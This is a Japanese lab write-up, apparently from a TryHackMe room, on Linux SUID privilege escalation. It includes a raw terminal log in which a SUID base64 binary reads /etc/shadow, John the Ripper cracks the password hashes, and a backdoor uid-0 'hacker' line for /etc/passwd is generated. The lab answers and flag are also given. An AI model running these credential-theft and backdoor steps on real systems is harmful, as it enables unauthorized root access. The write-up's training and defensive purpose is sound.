はじめに
- SUID(set-user-ID)付きバイナリは、その実行時にファイル所有者(通常は root)として動く。悪用できれば低権限から高権限への跳躍が可能。
- まず
find / -type f -perm -04000 -ls 2>/dev/nullで SUID/SGID を列挙する。 - 利用可能なバイナリは GTFOBinsで既知のエクスプロイトパターンを調べる。
- 演習の本体例:
/usr/bin/base64に SUID が付与されていて、これを使って/etc/shadowを読み、unshadow→johnでパスワードを割る、あるいは/etc/passwdを書き換えて root 権限を得る、という流れ。
1. 背景:なぜ SUID が危険か?
通常、実行ファイルは実行したユーザ権限で動く。だが SUID ビットが立っていると、そのバイナリはファイル所有者(たいてい root)として実行される。したがって、そのバイナリが持つ機能次第では、権限昇格に利用されうる。つまり「設計上は便利、運用上は危険」な典型。
2. 手順(実践ワークフロー)
以下は演習で使われた典型的な流れ。実機でやるときは必ず許可を得てから。
2.1 SUIDファイルの列挙
find / -type f -perm -04000 -ls 2>/dev/null
出力から SUID の一覧を取り、/usr/bin/base64 や nano など実行可能なものをピックアップする。
2.2 既知の悪用法を調べる(GTFOBins)
GTFOBins で base64 を検索 → SUID 時の挙動を確認。該当ページに使い方の例が載っている。
2.3 SUID バイナリを使って /etc/shadow を読む(例:base64)
SUID の base64 を使うと任意ファイルの読み出しが可能になる(バイナリの仕様に依存)。
LFILE=/etc/shadow
base64 "$LFILE" | base64 --decode
/etc/shadow が見えればパスワードハッシュを取得できる。
メモ:コマンドの使い方を間違えると
"LFILE: No such file or directory"のようになる(引用の有無などに注意)。
2.4 /etc/passwd と /etc/shadow を1ファイルにまとめる(John用)
unshadow が両方を入力に取るので、一時ファイルを作る:
cat /etc/passwd > passwd.txt
cat /etc/shadow > shadow.txt # SUIDで見えれば実行可能
unshadow passwd.txt shadow.txt > unshadowed.txt
2.5 John the Ripper でクラッキング
rockyou等のワードリストを渡して john 実行:
john --wordlist=/usr/share/wordlists/rockyou.txt --format=sha512crypt unshadowed.txt
john --show unshadowed.txt # 解析結果表示
演習ログでは user2 のパスワードが Password1 と割れた。
2.6 もう一つの方法:/etc/passwd を直接編集して root 権限のシェルを追加
(危険・現実の環境では絶対不可。演習用VMのみ)
- あらかじめ欲しいパスワードを
openssl passwd -1 -salt SALT passwordで生成して/etc/passwdに行を追加する例が示されていた。
3. 演習ログの「答え」まとめ
-
Which user shares the name of a great comic book writer?
→gerryconway(Gerry Conway は著名なコミック作家)。 -
What is the password of user2?
→Password1(john が rockyou を使って割った結果)。 -
What is the content of the flag3.txt file?
→THM-3847834(base64 /home/ubuntu/flag3.txt | base64 -dで復号)。
(演習ログの該当箇所では /etc/shadow の中に gerryconway / user2 / karen のハッシュがあり、John が Password1 を見つけている)
4. よくある落とし穴 / 実務で気をつける点
- SUID バイナリが「必ず」悪いわけではないが、不要な SUID は外すのが鉄則。
- GTFOBins に載っていない“中間ステップ”が必要なケースが多く、即効の勝ち筋がない場面が現実。
-
nanoやlessなど一見無害なエディタにも SUID が付いていると致命的(ファイル作成・読み取りで root 権限を間接利用できるため)。 -
sudoやpkexecに脆弱な設定があるとさらにリスクが高い。
5. 防御(運用側でできること)
- 不要な SUID を削除する(
chmod u-s /path/to/binary) - パッケージ管理で配布されるバイナリ以外は信頼しない、設定変更や変更検知を行う(OS のファイル整合性監視:AIDE, Tripwire 等)
- 最小権限の原則:root 所有である必要が本当にあるか再確認
- pwquality・2FA・ログ監査で不正ログインや不審な操作を早期検知
- 定期的に SUID/SGID の棚卸しを自動化して報告させる(例:cron + メール/SIEM)
まとめ
- 練習中は 必ず演習用VM・許可された環境のみで。実環境で試すと法的にアウトです。
- 見つけた SUID をすぐに叩く前に「このバイナリで何ができるか」をGTFO→マニュアル→実行権限の順で整理すると効率UP。
- 小さな発見(例:base64 の SUID)を活かすには、想像力と“中間ステップ”を組み合わせる力が鍵。そこが腕の見せ所。
参考
- GTFOBins(SUID/SGID exploitation patterns): https://gtfobins.github.io
- John the Ripper のドキュメント(フォーマット指定やパフォーマンスチューニング)
- Debian/Ubuntu セキュリティベストプラクティス(SUID 管理に関する記述)
Log
$ openssl passwd -1 -salt THM password1
$1$THM$WnbwlliCqxFRQepUTCkUT1
hacker:$1$THM$WnbwlliCqxFRQepUTCkUT1:0:0:root:/root:/bin/bash
$find / -type f -perm -04000 -ls 2>/dev/null
66 40 -rwsr-xr-x 1 root root 40152 Jan 27 2020 /snap/core/10185/bin/mount
80 44 -rwsr-xr-x 1 root root 44168 May 7 2014 /snap/core/10185/bin/ping
81 44 -rwsr-xr-x 1 root root 44680 May 7 2014 /snap/core/10185/bin/ping6
98 40 -rwsr-xr-x 1 root root 40128 Mar 25 2019 /snap/core/10185/bin/su
116 27 -rwsr-xr-x 1 root root 27608 Jan 27 2020 /snap/core/10185/bin/umount
2610 71 -rwsr-xr-x 1 root root 71824 Mar 25 2019 /snap/core/10185/usr/bin/chfn
2612 40 -rwsr-xr-x 1 root root 40432 Mar 25 2019 /snap/core/10185/usr/bin/chsh
2689 74 -rwsr-xr-x 1 root root 75304 Mar 25 2019 /snap/core/10185/usr/bin/gpasswd
2781 39 -rwsr-xr-x 1 root root 39904 Mar 25 2019 /snap/core/10185/usr/bin/newgrp
2794 53 -rwsr-xr-x 1 root root 54256 Mar 25 2019 /snap/core/10185/usr/bin/passwd
2904 134 -rwsr-xr-x 1 root root 136808 Jan 31 2020 /snap/core/10185/usr/bin/sudo
3003 42 -rwsr-xr-- 1 root systemd-resolve 42992 Jun 11 2020 /snap/core/10185/usr/lib/dbus-1.0/dbus-daemon-launch-helper
3375 419 -rwsr-xr-x 1 root root 428240 May 26 2020 /snap/core/10185/usr/lib/openssh/ssh-keysign
6437 109 -rwsr-xr-x 1 root root 110792 Oct 8 2020 /snap/core/10185/usr/lib/snapd/snap-confine
7615 386 -rwsr-xr-- 1 root dip 394984 Jul 23 2020 /snap/core/10185/usr/sbin/pppd
56 43 -rwsr-xr-x 1 root root 43088 Mar 5 2020 /snap/core18/1885/bin/mount
65 63 -rwsr-xr-x 1 root root 64424 Jun 28 2019 /snap/core18/1885/bin/ping
81 44 -rwsr-xr-x 1 root root 44664 Mar 22 2019 /snap/core18/1885/bin/su
99 27 -rwsr-xr-x 1 root root 26696 Mar 5 2020 /snap/core18/1885/bin/umount
1698 75 -rwsr-xr-x 1 root root 76496 Mar 22 2019 /snap/core18/1885/usr/bin/chfn
1700 44 -rwsr-xr-x 1 root root 44528 Mar 22 2019 /snap/core18/1885/usr/bin/chsh
1752 75 -rwsr-xr-x 1 root root 75824 Mar 22 2019 /snap/core18/1885/usr/bin/gpasswd
1816 40 -rwsr-xr-x 1 root root 40344 Mar 22 2019 /snap/core18/1885/usr/bin/newgrp
1828 59 -rwsr-xr-x 1 root root 59640 Mar 22 2019 /snap/core18/1885/usr/bin/passwd
1919 146 -rwsr-xr-x 1 root root 149080 Jan 31 2020 /snap/core18/1885/usr/bin/sudo
2006 42 -rwsr-xr-- 1 root systemd-resolve 42992 Jun 11 2020 /snap/core18/1885/usr/lib/dbus-1.0/dbus-daemon-launch-helper
2314 427 -rwsr-xr-x 1 root root 436552 Mar 4 2019 /snap/core18/1885/usr/lib/openssh/ssh-keysign
7477 52 -rwsr-xr-- 1 root messagebus 51344 Jun 11 2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
13816 464 -rwsr-xr-x 1 root root 473576 May 29 2020 /usr/lib/openssh/ssh-keysign
13661 24 -rwsr-xr-x 1 root root 22840 Aug 16 2019 /usr/lib/policykit-1/polkit-agent-helper-1
7479 16 -rwsr-xr-x 1 root root 14488 Jul 8 2019 /usr/lib/eject/dmcrypt-get-device
13676 128 -rwsr-xr-x 1 root root 130152 Oct 8 2020 /usr/lib/snapd/snap-confine
1856 84 -rwsr-xr-x 1 root root 85064 May 28 2020 /usr/bin/chfn
2300 32 -rwsr-xr-x 1 root root 31032 Aug 16 2019 /usr/bin/pkexec
1816 164 -rwsr-xr-x 1 root root 166056 Jul 15 2020 /usr/bin/sudo
1634 40 -rwsr-xr-x 1 root root 39144 Jul 21 2020 /usr/bin/umount
1860 68 -rwsr-xr-x 1 root root 68208 May 28 2020 /usr/bin/passwd
1859 88 -rwsr-xr-x 1 root root 88464 May 28 2020 /usr/bin/gpasswd
1507 44 -rwsr-xr-x 1 root root 44784 May 28 2020 /usr/bin/newgrp
1857 52 -rwsr-xr-x 1 root root 53040 May 28 2020 /usr/bin/chsh
1722 44 -rwsr-xr-x 1 root root 43352 Sep 5 2019 /usr/bin/base64
1674 68 -rwsr-xr-x 1 root root 67816 Jul 21 2020 /usr/bin/su
2028 40 -rwsr-xr-x 1 root root 39144 Mar 7 2020 /usr/bin/fusermount
2166 56 -rwsr-sr-x 1 daemon daemon 55560 Nov 12 2018 /usr/bin/at
1633 56 -rwsr-xr-x 1 root root 55528 Jul 21 2020 /usr/bin/mount
$ LFILE=/etc/shadow
$ base64 "LFILE" | base64 --decode
base64: LFILE: No such file or directory
$ base64 "$LFILE" | base64 --decode
root:*:18561:0:99999:7:::
daemon:*:18561:0:99999:7:::
bin:*:18561:0:99999:7:::
sys:*:18561:0:99999:7:::
sync:*:18561:0:99999:7:::
games:*:18561:0:99999:7:::
man:*:18561:0:99999:7:::
lp:*:18561:0:99999:7:::
mail:*:18561:0:99999:7:::
news:*:18561:0:99999:7:::
uucp:*:18561:0:99999:7:::
proxy:*:18561:0:99999:7:::
www-data:*:18561:0:99999:7:::
backup:*:18561:0:99999:7:::
list:*:18561:0:99999:7:::
irc:*:18561:0:99999:7:::
gnats:*:18561:0:99999:7:::
nobody:*:18561:0:99999:7:::
systemd-network:*:18561:0:99999:7:::
systemd-resolve:*:18561:0:99999:7:::
systemd-timesync:*:18561:0:99999:7:::
messagebus:*:18561:0:99999:7:::
syslog:*:18561:0:99999:7:::
_apt:*:18561:0:99999:7:::
tss:*:18561:0:99999:7:::
uuidd:*:18561:0:99999:7:::
tcpdump:*:18561:0:99999:7:::
sshd:*:18561:0:99999:7:::
landscape:*:18561:0:99999:7:::
pollinate:*:18561:0:99999:7:::
ec2-instance-connect:!:18561:0:99999:7:::
systemd-coredump:!!:18796::::::
ubuntu:!:18796:0:99999:7:::
gerryconway:$6$vgzgxM3ybTlB.wkV$48YDY7qQnp4purOJ19mxfMOwKt.H2LaWKPu0zKlWKaUMG1N7weVzqobp65RxlMIZ/NirxeZdOJMEOp3ofE.RT/:18796:0:99999:7:::
user2:$6$m6VmzKTbzCD/.I10$cKOvZZ8/rsYwHd.pE099ZRwM686p/Ep13h7pFMBCG4t7IukRqc/fXlA1gHXh9F2CbwmD4Epi1Wgh.Cl.VV1mb/:18796:0:99999:7:::
lxd:!:18796::::::
karen:$6$VjcrKz/6S8rhV4I7$yboTb0MExqpMXW0hjEJgqLWs/jGPJA7N/fEoPMuYLY1w16FwL7ECCbQWJqYLGpy.Zscna9GILCSaNLJdBP1p8/:18796:0:99999:7:::
$ cat passwd.txt
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
landscape:x:110:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:111:1::/var/cache/pollinate:/bin/false
ec2-instance-connect:x:112:65534::/nonexistent:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
gerryconway:x:1001:1001::/home/gerryconway:/bin/sh
user2:x:1002:1002::/home/user2:/bin/sh
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
karen:x:1003:1003::/home/karen:/bin/sh
root@ip-10-201-14-228:~# unshadow passwd.txt shadow.txt > unshadowed.txt
root@ip-10-201-14-228:~# cat unshadowed.txt
root:*:0:0:root:/root:/bin/bash
daemon:*:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:*:2:2:bin:/bin:/usr/sbin/nologin
sys:*:3:3:sys:/dev:/usr/sbin/nologin
sync:*:4:65534:sync:/bin:/bin/sync
games:*:5:60:games:/usr/games:/usr/sbin/nologin
man:*:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:*:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:*:8:8:mail:/var/mail:/usr/sbin/nologin
news:*:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:*:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:*:13:13:proxy:/bin:/usr/sbin/nologin
www-data:*:33:33:www-data:/var/www:/usr/sbin/nologin
backup:*:34:34:backup:/var/backups:/usr/sbin/nologin
list:*:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:*:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:*:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:*:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:*:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:*:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:*:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:*:103:106::/nonexistent:/usr/sbin/nologin
syslog:*:104:110::/home/syslog:/usr/sbin/nologin
_apt:*:105:65534::/nonexistent:/usr/sbin/nologin
tss:*:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:*:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:*:108:113::/nonexistent:/usr/sbin/nologin
sshd:*:109:65534::/run/sshd:/usr/sbin/nologin
landscape:*:110:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:*:111:1::/var/cache/pollinate:/bin/false
ec2-instance-connect:!:112:65534::/nonexistent:/usr/sbin/nologin
systemd-coredump:!!:999:999:systemd Core Dumper:/:/usr/sbin/nologin
ubuntu:!:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
gerryconway:$6$vgzgxM3ybTlB.wkV$48YDY7qQnp4purOJ19mxfMOwKt.H2LaWKPu0zKlWKaUMG1N7weVzqobp65RxlMIZ/NirxeZdOJMEOp3ofE.RT/:1001:1001::/home/gerryconway:/bin/sh
user2:$6$m6VmzKTbzCD/.I10$cKOvZZ8/rsYwHd.pE099ZRwM686p/Ep13h7pFMBCG4t7IukRqc/fXlA1gHXh9F2CbwmD4Epi1Wgh.Cl.VV1mb/:1002:1002::/home/user2:/bin/sh
lxd:!:998:100::/var/snap/lxd/common/lxd:/bin/false
karen:$6$VjcrKz/6S8rhV4I7$yboTb0MExqpMXW0hjEJgqLWs/jGPJA7N/fEoPMuYLY1w16FwL7ECCbQWJqYLGpy.Zscna9GILCSaNLJdBP1p8/:1003:1003::/home/karen:/bin/sh
use JohnTheRipper
john --wordlist=/usr/share/wordlists/rockyou.txt --format=sha512crypt unshadowed.txt
root@ip-10-201-27-38:~# john --wordlist=/usr/share/wordlists/rockyou.txt --format=sha512crypt unshadowed.txt
Using default input encoding: UTF-8
Loaded 3 password hashes with 3 different salts (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Password1 (karen)
Password1 (user2)
test123 (gerryconway)
3g 0:00:00:11 DONE (2025-11-05 13:04) 0.2622g/s 1544p/s 2170c/s 2170C/s paper..edwina
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
find / -name flag3.txt 2>/dev/null
/home/ubuntu/flag3.txt
$ cat /home/ubuntu/flag3.txt
cat: /home/ubuntu/flag3.txt: Permission denied
$ base64 /home/ubuntu/flag3.txt | base64 -d
THM-3847834
$